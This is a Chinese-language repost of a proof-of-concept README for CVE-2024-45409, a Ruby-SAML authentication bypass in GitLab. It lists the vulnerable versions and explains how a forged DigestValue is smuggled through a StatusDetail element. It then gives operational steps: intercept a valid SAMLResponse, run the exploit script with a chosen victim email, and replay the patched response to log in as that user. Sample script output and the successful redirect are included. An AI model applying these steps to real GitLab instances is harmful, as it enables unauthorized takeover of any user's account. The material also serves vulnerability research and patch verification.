Ruby-SAML / GitLab 身份验证绕过 (CVE-2024-45409) 利用脚本
此脚本利用了 CVE-2024-45409,允许未认证的攻击者使用由身份提供者 (IDP) 签发的任何有效的 SAML 文档伪造 SAML 响应/断言,并以 GitLab 上的任意用户身份获得访问权限。
所有以下版本的 GitLab (CE/EE) 都存在漏洞:
-
< 16.11.10 -
17.0.0 < 17.0.8 -
17.0.0 < 17.1.8 -
17.0.0 < 17.2.7 -
17.0.0 < 17.3.3
此利用脚本将修改后的断言的 DigestValue
注入到 StatusDetail
元素中,允许其走私 XPath 选择器,使用此值而不是 SignedInfo
块中的值。
要求
-
由 IDP 签发的有效 SAML 响应
使用方法
apt install python3-lxml
首先拦截 URL 和 Base64 编码的 IDP SAML 响应,然后使用脚本修改 XML 内容。
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64
之后,将 SAMLResponse
参数的值替换为脚本输出。如果身份验证成功,您将被重定向到 GitLab 主页。
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>您正在被 <a href="http://gitlab.test.local/">重定向</a>。</body></html>
参考资料
-
https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/ -
https://github.com/advisories/GHSA-jw9c-mfg7-9rx2 -
https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/ -
https://nvd.nist.gov/vuln/detail/CVE-2024-45409 -
https://www.cvedetails.com/cve/CVE-2024-45409/
原文始发于微信公众号(独眼情报):【PoC】 GitLab 身份验证绕过 (CVE-2024-45409) 漏洞PoC发布
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论